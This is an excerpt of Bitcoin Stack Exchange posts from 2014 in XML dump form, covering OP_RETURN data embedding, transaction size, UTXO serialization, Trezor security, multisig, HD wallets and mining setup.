  <row Id="31973" PostTypeId="2" ParentId="14056" CreationDate="2014-10-15T09:33:48.220" Score="2" Body="&lt;p&gt;This might be a bit tricky because people generally tend to map binary data sequences to representations of real-life objects automatically, often conveniently slipping to lax and &lt;strong&gt;negligent assumptions&lt;/strong&gt;. What is often left out is the &lt;strong&gt;importance of encoding&lt;/strong&gt;, which is the essence that gives data a meaning. Without encoding, it's just a &lt;strong&gt;meaningless&lt;/strong&gt; bitstream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the thing with the encoding is that, given a &quot;right&quot; encoding, you can basically &lt;strong&gt;turn any binary data into arbitrary &quot;image&quot;&lt;/strong&gt; (or text; or give it any other meaning). Even this answer might be considered to convey an illegal material, if a carefully-crafted encoding scheme is used to interpret it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When questioning the legality of binary data, a highly motivated prosecutor could surely come up with an encoding scheme which, when used to interpret the data in the Blockchain, would reveal an illegal material. However, a reasonable judge would &lt;strong&gt;probably dismiss it&lt;/strong&gt; because it isn't the natural encoding &lt;strong&gt;intended&lt;/strong&gt; to be used in the protocol. I'm not a lawyer, but I believe the &lt;strong&gt;intent&lt;/strong&gt; would be a key factor here, so people using Bitcoin (and sharing the Blockchain) should not be prosecuted if they're only using it for the &lt;strong&gt;intended purpose&lt;/strong&gt;, interpreting the data as specified in the Bitcoin protocol. Otherwise, anybody using the Internet could be prosecuted for anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, a person who inserted such a data on purpose (re-encoding them to a compatible format and sending as a transaction output), could probably face a criminal prosecution, if reliably found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&#xA;I'd like to add that law is not an exact science (actually is not exact nor science) and thus might be hard to grasp for technical people who strive to always find definite answers. Also, all decisions might be politically or otherwise motivated.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-15T09:33:48.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31974" PostTypeId="1" AcceptedAnswerId="32000" CreationDate="2014-10-15T12:11:06.747" Score="18" ViewCount="37849" Body="&lt;p&gt;I'm curious, since the inception of bitcoin, what is the average size (in bytes) of a bitcoin transaction?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, the easiest way to find this &lt;strong&gt;is not&lt;/strong&gt; to take the size of the block-chain and divide it by the total number of transactions.  This is because there is a little overhead associated with block headers.  Transactions need to be accounted for one at a time for this averaging operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone taken the time to analyze this information and, if so, what were the results?  To be clear, I am interested in this answer as the data is stored in uncompressed-bytes.  I'm not interested in any textual (i.e. JSON) variation which might be used for network communication.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2014-10-15T15:03:15.933" LastActivityDate="2018-04-21T17:46:33.583" Title="What is the average size of a bitcoin transaction?" Tags="|transactions|" AnswerCount="3" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="31976" PostTypeId="2" ParentId="31972" CreationDate="2014-10-15T13:56:24.573" Score="12" Body="&lt;p&gt;Note that you should only do this, putting extra data into the block chain, if it is really necessary. The block chain has to be stored by every full node, so try not to take up all our hard drive space with unnecessary stuff whenever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, if you do want to add extra data to your transaction, then add an additional output to the transaction, for which the scriptPubKey has the following form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_RETURN {80 bytes of whatever data you want}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This transaction output is automatically un-spendable, and so will not be kept in the UTXO set. The other UTXOs from your transaction will still be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=414886.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=414886.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinfoundation.org/2013/10/core-development-update-5/&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoinfoundation.org/2013/10/core-development-update-5/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will embed extra information into your transaction. Be aware, though, that the software that made the transaction and the software that reads the transaction have to be compatible in order for the user to be able to read the given information when the transaction is received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example of a transaction that used OP_RETURN to encode extra information here: &lt;a href=&quot;https://blockchain.info/tx/6dfb16dd580698242bcfd8e433d557ed8c642272a368894de27292a8844a4e75?show_adv=true&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/6dfb16dd580698242bcfd8e433d557ed8c642272a368894de27292a8844a4e75?show_adv=true&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2017-04-23T22:56:24.060" LastActivityDate="2017-04-23T22:56:24.060" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="31977" PostTypeId="1" CreationDate="2014-10-15T14:01:43.687" Score="1" ViewCount="65" Body="&lt;p&gt;I am trying to understand how does a satoshidice draw work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i have understood satoshidice generates daily two public hashes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HMAC hash (H from here on)&lt;/li&gt;&#xA;&lt;li&gt;Position hash (P grom here on)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can check &lt;a href=&quot;https://www.satoshidice.com/files/daily-secret-hash.txt&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; all the H and Ps until 31.10.2014. As you can see they include hash for the next two weeks too?why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting an example of a H they provide (b8dd879f66b36f0b0705c00eb56d91a82c927f6c5d25b0d470d4f17615702bed) i can see they are 64bytes Hexadecimal long so that's a SHA256 Hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do they calculate this hashes? I mean they are the product of using a SHA256 hash calculation, without secret key (HMAC)? And the next day they release the original data that originated H and P, so that people can check what? I don't understand it very well..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the resulting string used in the draw is calculated as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resulting String = hmac_sha512(daily_secret, &quot;tx_id:out_index&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose daily secret is our H. What's &quot;tx_id:out_index&quot;? Trasaction id concatenated by index?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could i verify my draw was totally fair with all these hashes? This is a mess..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;That is, the daily 'HMAC' Secret String is used as the key to an HMAC_SHA512(key, message) function. The message portion of this function is a string formed from the transaction ID, a colon, and the output index number of the bet payment within the transaction. In order to calculate the lucky number, 4 Hexadecimal Digits are being chosen from the above HMAC Output. The position of these 4 Digits, is being taken from the First bytes of the 'Positions' Secret Key. Finally,having the output of the HMAC Function,and the daily Positions,we have the Lucky Number as an unsigned Integer in the range 0-65535.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i now H and P ahead of time, if could get &quot;tx_id:out_index&quot; too wouldn't i be able to predict the drawing result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="10088" LastEditorUserId="10088" LastEditDate="2014-10-17T10:17:59.253" LastActivityDate="2014-10-17T10:17:59.253" Title="How do satoshidice's draws work? (HMAC hashes)" Tags="|hash|satoshidice|" AnswerCount="0" CommentCount="0" ClosedDate="2015-01-09T23:36:25.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="31978" PostTypeId="1" AcceptedAnswerId="31979" CreationDate="2014-10-15T14:03:35.507" Score="2" ViewCount="257" Body="&lt;p&gt;I'm talking specifically about this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** pruned version of CTransaction: only retains metadata and unspent transaction outputs&#xA; *&#xA; * Serialized format:&#xA; * - VARINT(nVersion)&#xA; * - VARINT(nCode)&#xA; * - unspentness bitvector, for vout[2] and further; least significant byte first&#xA; * - the non-spent CTxOuts (via CTxOutCompressor)&#xA; * - VARINT(nHeight)&#xA; *&#xA; * The nCode value consists of:&#xA; * - bit 1: IsCoinBase()&#xA; * - bit 2: vout[0] is not spent&#xA; * - bit 4: vout[1] is not spent&#xA; * - The higher bits encode N, the number of non-zero bytes in the following bitvector.&#xA; *   - In case both bit 2 and bit 4 are unset, they encode N-1, as there must be at&#xA; *     least one non-spent output).&#xA; *&#xA; * Example: 0104835800816115944e077fe7c803cfa57f29b36bf87c1d358bb85e&#xA; *          &amp;lt;&amp;gt;&amp;lt;&amp;gt;&amp;lt;--------------------------------------------&amp;gt;&amp;lt;----&amp;gt;&#xA; *          |  \                  |                             /&#xA; *    version   code             vout[1]                  height&#xA; *&#xA; *    - version = 1&#xA; *    - code = 4 (vout[1] is not spent, and 0 non-zero bytes of bitvector follow)&#xA; *    - unspentness bitvector: as 0 non-zero bytes follow, it has length 0&#xA; *    - vout[1]: 835800816115944e077fe7c803cfa57f29b36bf87c1d35&#xA; *               * 8358: compact amount representation for 60000000000 (600 BTC)&#xA; *               * 00: special txout type pay-to-pubkey-hash&#xA; *               * 816115944e077fe7c803cfa57f29b36bf87c1d35: address uint160&#xA; *    - height = 203998&#xA; *&#xA; *&#xA; * Example: 0109044086ef97d5790061b01caab50f1b8e9c50a5057eb43c2d9563a4eebbd123008c988f1a4a4de2161e0f50aac7f17e7f9555caa486af3b&#xA; *          &amp;lt;&amp;gt;&amp;lt;&amp;gt;&amp;lt;--&amp;gt;&amp;lt;--------------------------------------------------&amp;gt;&amp;lt;----------------------------------------------&amp;gt;&amp;lt;----&amp;gt;&#xA; *         /  \   \                     |                                                           |                     /&#xA; *  version  code  unspentness       vout[4]                                                     vout[16]           height&#xA; *&#xA; *  - version = 1&#xA; *  - code = 9 (coinbase, neither vout[0] or vout[1] are unspent,&#xA; *                2 (1, +1 because both bit 2 and bit 4 are unset) non-zero bitvector bytes follow)&#xA; *  - unspentness bitvector: bits 2 (0x04) and 14 (0x4000) are set, so vout[2+2] and vout[14+2] are unspent&#xA; *  - vout[4]: 86ef97d5790061b01caab50f1b8e9c50a5057eb43c2d9563a4ee&#xA; *             * 86ef97d579: compact amount representation for 234925952 (2.35 BTC)&#xA; *             * 00: special txout type pay-to-pubkey-hash&#xA; *             * 61b01caab50f1b8e9c50a5057eb43c2d9563a4ee: address uint160&#xA; *  - vout[16]: bbd123008c988f1a4a4de2161e0f50aac7f17e7f9555caa4&#xA; *              * bbd123: compact amount representation for 110397 (0.001 BTC)&#xA; *              * 00: special txout type pay-to-pubkey-hash&#xA; *              * 8c988f1a4a4de2161e0f50aac7f17e7f9555caa4: address uint160&#xA; *  - height = 120891&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't really understand how nCode works. Let's take the second example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First bit is set to indicate it's a coinbase transaction. So far &lt;code&gt;nCode = 01&lt;/code&gt;.&#xA;vout[0] and vout[1] are spent, which means we add 1 because there is at least 1 unspent output. So the bitmask is 0001 0001, which is equal to 0x11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So already we have a number bigger than 0x09. How the hell is that &lt;code&gt;nCode = 0x09&lt;/code&gt; computed?&lt;/p&gt;&#xA;" OwnerUserId="4796" LastActivityDate="2014-10-17T07:38:16.510" Title="How does serializing in coins.h work?" Tags="|bitcoind|bitcoin-core|utxo|leveldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31979" PostTypeId="2" ParentId="31978" CreationDate="2014-10-15T14:44:29.943" Score="2" Body="&lt;p&gt;(note: I'll be using a different bit numbering from the comment which goes from &lt;code&gt;0..B&lt;/code&gt; instead of &lt;code&gt;1..2^B&lt;/code&gt;, as I find that easier to read myself)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary representation of &lt;code&gt;0x9&lt;/code&gt; separated in functional groups is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bit# ...6543 21 0&#xA;        ---------&#xA;        0001 00 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bit 0 is set because this is a coinbase&lt;/li&gt;&#xA;&lt;li&gt;Bit 2 and 1 are 0, because vout[0] and vout[1] are spent&lt;/li&gt;&#xA;&lt;li&gt;Bit 3+ contain just the binary number &lt;code&gt;1&lt;/code&gt;. As bit 1 and 2 are not set, these bits encode N-1. &lt;code&gt;N=(9&amp;gt;&amp;gt;3)+1=2&lt;/code&gt;. N here is the number of bytes in the subsequent bit vector.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These two bytes that follow are &lt;code&gt;04&lt;/code&gt; and &lt;code&gt;40&lt;/code&gt;, encoding the number 0x440, the number with bits 2 (&lt;code&gt;1&amp;lt;&amp;lt;4=0x04&lt;/code&gt;) and 14 (&lt;code&gt;1&amp;lt;&amp;lt;14=0x4000&lt;/code&gt;) set. As described in the example this means &lt;code&gt;vout[2+2]&lt;/code&gt; and &lt;code&gt;vout[14+2]&lt;/code&gt; are unspent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you end up at 0x11?&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="147" LastEditDate="2014-10-17T07:38:16.510" LastActivityDate="2014-10-17T07:38:16.510" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31980" PostTypeId="2" ParentId="19893" CreationDate="2014-10-15T15:18:53.727" Score="6" Body="&lt;p&gt;If you are just looking to encode a message into the URI, then look at &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0020.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP 20&lt;/a&gt;. If you want to actually associate the message in the block chain, then I would take a look at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/31972/how-to-add-additional-information-to-transaction/31976&quot;&gt;this stack overflow question&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-10-15T15:18:53.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31981" PostTypeId="1" CreationDate="2014-10-15T16:23:00.390" Score="5" ViewCount="282" Body="&lt;p&gt;There has been some buzz in the news about a wedding that put a statement in the blockchain declaring their message. &lt;a href=&quot;http://tucker.liberty.me/2014/09/25/blockchain_wedding/?refer=libertyme&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is one source that reported on the news. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide a link to the actual transaction in a block explorer such as blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a link to an actual transaction in a block chain explorer that has the ASCII text in it that was described in the article, or an explanation of why one doesn't exist. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-12T19:27:50.840" LastActivityDate="2014-12-21T17:29:11.860" Title="Where is the bitcoin wedding transaction?" Tags="|transactions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31983" PostTypeId="1" AcceptedAnswerId="31987" CreationDate="2014-10-15T17:55:19.493" Score="3" ViewCount="460" Body="&lt;p&gt;The &lt;a href=&quot;http://www.bitcointrezor.com/#testimonials&quot; rel=&quot;nofollow&quot;&gt;Trezor testimonials&lt;/a&gt; include that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TREZOR ... cannot be infected by malware &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is it about a Trezor that means it cannot be infected?&lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="5406" LastEditDate="2017-07-01T14:09:47.693" LastActivityDate="2019-01-04T11:46:51.803" Title="What is it about a Trezor that means it can't be infected by malware?" Tags="|security|data-security|trezor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31985" PostTypeId="1" AcceptedAnswerId="32131" CreationDate="2014-10-15T19:45:23.573" Score="1" ViewCount="94" Body="&lt;p&gt;Is it in theory possible to set up a 2 out of 4 multi-sig transaction, but only allow a subset of all possible combinations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More concrete: I want to have the keys A, B, C, D.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice controls A&lt;/li&gt;&#xA;&lt;li&gt;Bob controls B&lt;/li&gt;&#xA;&lt;li&gt;Charlie controls C&lt;/li&gt;&#xA;&lt;li&gt;Dennis controls D&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are six ways to select 2 items from 4 items. However, the only valid combinations should be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A, B&lt;/li&gt;&#xA;&lt;li&gt;C, D&lt;/li&gt;&#xA;&lt;li&gt;A, D&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="2306" LastEditDate="2014-10-26T15:08:33.177" LastActivityDate="2014-10-27T02:52:12.320" Title="Two out of Four transaction with excluding some key pairs" Tags="|multi-signature|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31987" PostTypeId="2" ParentId="31983" CreationDate="2014-10-15T21:53:30.267" Score="3" Body="&lt;p&gt;You simply can't add, insert or install software or any executable stuff into a Trezor. Due to the way the Trezor is set up, it runs fully autonomically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that goes into the Trezor is transaction details (addresses, amounts, etc). There's just no opportunity whatsoever to put any malware in there, because whatever you send to the Trezor, it's being interpreted as mere &lt;em&gt;transaction details&lt;/em&gt; (i.e. data, not code) which may be valid or not (and if not, it'll say &quot;your details are bogus, I can't create a proper transaction from this&quot;). But it's &lt;strong&gt;never being executed&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by definition it doesn't matter whatever kind of smart sneaky malware you send to the Trezor. It will have no effect.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-15T21:53:30.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31988" PostTypeId="2" ParentId="31983" CreationDate="2014-10-15T22:20:49.440" Score="4" Body="&lt;p&gt;Trezor is a relatively simple, specialized hardware device. It does not run any OS, just a small program specifically developed for signing Bitcoin transactions and managing the keys. Thus, the attack surface is very small compared to conventional general-purpose computers. You can say it's practically impossible to infect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security is a much more complicated area though and I wouldn't say it's impossible unless I can formally prove it. It is however the safest device I know of (but this is subjective).&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-15T22:20:49.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31989" PostTypeId="1" CreationDate="2014-10-16T05:53:49.253" Score="4" ViewCount="3739" Body="&lt;p&gt;This might be a possible duplicate with &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25224/what-is-a-step-by-step-way-to-insert-data-in-op-return&quot; title=&quot;What is a step by step way to insert data in OP_RETURN?&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know a proper way to insert additional string with OP_RETURN and retrieve the transaction from block chain and decode it accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="20712" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2017-02-07T17:41:00.093" Title="Insert data to transaction with OP_RETURN" Tags="|bitcoind|op-return|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31990" PostTypeId="2" ParentId="5353" CreationDate="2014-10-16T07:13:00.060" Score="2" Body="&lt;p&gt;Bitcoin clients with the exception of SPV clients like Multibit need to download the entire blockchain history before consolidating the wallet. Currently the blockchain size is around 22 Gb and increasing. The time it takes for your client to sync will depend on your internet connection. Also if you do not keep your client connected, the next time you connect it will have to download all the blocks that were created in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPV clients like Multibit do not download the entire blockchain history. They only fetch the relevant blocks that contain your transactions. Hence they do not take time to sync with the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="20718" LastActivityDate="2014-10-16T07:13:00.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31991" PostTypeId="2" ParentId="30139" CreationDate="2014-10-16T07:31:51.920" Score="1" Body="&lt;p&gt;DigitalCoin is just one of the many copycats of Bitcoin, probably made up by people who (mistakenly) think they missed the boat with Bitcoin, and now try to get rich quick by creating their own variant (which really doesn't add anything significant compared to Bitcoin). After easily mining the first DigitalCoins themselves, they hope to see the price rise. I don't see it happening though (as with almost any altcoins). &lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-16T07:31:51.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31992" PostTypeId="1" AcceptedAnswerId="32007" CreationDate="2014-10-16T09:14:17.570" Score="2" ViewCount="1035" Body="&lt;p&gt;&lt;a href=&quot;http://doc.satoshilabs.com/trezor-user/securitybestpractices.html#keep-your-recovery-seed-safe-from&quot; rel=&quot;nofollow&quot;&gt;Trezor FAQ&lt;/a&gt; says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you do not use a passphrase, your recovery seed is all that is needed to access your bitcoins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you do not use a passphrase, can the Trezor seed be used to recreate a &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_Wallet&quot; rel=&quot;nofollow&quot;&gt;hierarchical deterministic wallet&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="5406" LastEditDate="2017-07-01T14:10:06.017" LastActivityDate="2017-07-01T14:10:06.017" Title="Can a Trezor seed be used in any other HD wallet?" Tags="|security|bip32-hd-wallets|trezor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31994" PostTypeId="1" AcceptedAnswerId="31996" CreationDate="2014-10-16T11:44:42.623" Score="3" ViewCount="157" Body="&lt;p&gt;BIP 0032 &quot;Security Implications&quot; states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One weakness that may not be immediately obvious, is that knowledge of&#xA;  a parent extended public key plus any non-hardened private key&#xA;  descending from it is equivalent to knowing the parent extended&#xA;  private key (and thus every private and public key descending from&#xA;  it).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what I understand, the weakness is due to the reversible nature of the operation on extended public key (addition). Wouldn't it be possible to address this by using a one-way function like hashing instead of addition?&lt;/p&gt;&#xA;" OwnerUserId="15378" LastEditorUserId="2306" LastEditDate="2015-04-22T18:17:21.727" LastActivityDate="2015-04-22T18:17:21.727" Title="Deterministic keys with one-way operation" Tags="|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31995" PostTypeId="2" ParentId="30696" CreationDate="2014-10-16T11:51:03.823" Score="2" Body="&lt;p&gt;You can use source code browsing tools like &lt;a href=&quot;http://www.sourceinsight.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source Insight&lt;/a&gt;(proprietary) or &lt;a href=&quot;http://www.doxygen.nl/&quot; rel=&quot;nofollow noreferrer&quot;&gt;doxygen&lt;/a&gt;(Free software) to create dependency diagram of functions and files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The doxygen documentation for Bitcoin source can also be found at &lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.visucore.com/bitcoin/doxygen/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20718" LastEditorUserId="90600" LastEditDate="2018-12-16T20:32:31.313" LastActivityDate="2018-12-16T20:32:31.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31996" PostTypeId="2" ParentId="31994" CreationDate="2014-10-16T12:20:53.310" Score="2" Body="&lt;p&gt;If you use a one-way hash function (ie like hashing ECDSA public key with SHA256/RIPEMD160 into a hex public key) then how can you employ hierarchical deterministic functioning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't. The whole point here is that if you lose your private key for a grandchild public key you can get it back again with the parent key. A two-way hashing function obfuscating the data would work but that's basically what's already in place.  &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-16T12:20:53.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32000" PostTypeId="2" ParentId="31974" CreationDate="2014-10-16T20:22:49.037" Score="11" Body="&lt;p&gt;Quote from Gavin Andresen:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the average Bitcoin transaction is about 250 bytes big&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=813324.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=813324.0&lt;/a&gt; (2nd post, last sentence)&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-10-16T20:22:49.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32001" PostTypeId="1" CreationDate="2014-10-16T20:39:12.250" Score="0" ViewCount="3078" Body="&lt;p&gt;I've installed the GUIMiner app and the Multibit app.  I am in a mining pool, and I have about 17 shares thus far. Do the Bitcoins transfer to my MultBit wallet automatically or do I need to do it manually?&lt;/p&gt;&#xA;" OwnerUserId="20722" LastEditorUserId="2306" LastEditDate="2014-10-16T20:58:41.377" LastActivityDate="2014-11-16T16:59:59.173" Title="Do Bitcoins mined in a pool automatically transfer to your wallet?" Tags="|mining-pools|guiminer|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32002" PostTypeId="1" CreationDate="2014-10-16T21:26:19.577" Score="1" ViewCount="164" Body="&lt;p&gt;Are they convenient enough for some real world transactions? Like an easy escrow that the two party can assign to a third party to finish a transaction?&lt;/p&gt;&#xA;" OwnerUserId="12278" LastActivityDate="2014-10-17T13:58:14.533" Title="What is the current status of Multi-Sign function in bitcoin network?" Tags="|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32003" PostTypeId="2" ParentId="32002" CreationDate="2014-10-16T21:42:40.540" Score="0" Body="&lt;p&gt;Absolutely. It's a feature being used by a variety of wallets such as &lt;a href=&quot;http://greenaddress.it/&quot; rel=&quot;nofollow&quot;&gt;GreenAddress&lt;/a&gt; and &lt;a href=&quot;http://bitgo.com/&quot; rel=&quot;nofollow&quot;&gt;BitGo&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-10-16T21:42:40.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32005" PostTypeId="2" ParentId="24756" CreationDate="2014-10-16T23:22:07.373" Score="2" Body="&lt;p&gt;One reason you might use &lt;code&gt;server=1&lt;/code&gt; is when you're using a third-party mining program like cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=SOMEUSER&#xA;rpcpassword=SOMEPASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Don't set &lt;code&gt;gen=1&lt;/code&gt;, because you don't want to use CPU mining. Instead, install cgminer and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o http://127.0.0.1:8332 -u SOMEUSER -p SOMEPASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19655" LastEditorUserId="2306" LastEditDate="2014-10-17T02:55:25.103" LastActivityDate="2014-10-17T02:55:25.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32006" PostTypeId="2" ParentId="31992" CreationDate="2014-10-17T07:22:42.887" Score="1" Body="&lt;p&gt;Sure. Yesterday MultiBitHD committed support for Trezor. I think MulitBitHD is still in Beta, but you could probably still try it out.&lt;/p&gt;&#xA;" OwnerUserId="20727" LastActivityDate="2014-10-17T07:22:42.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
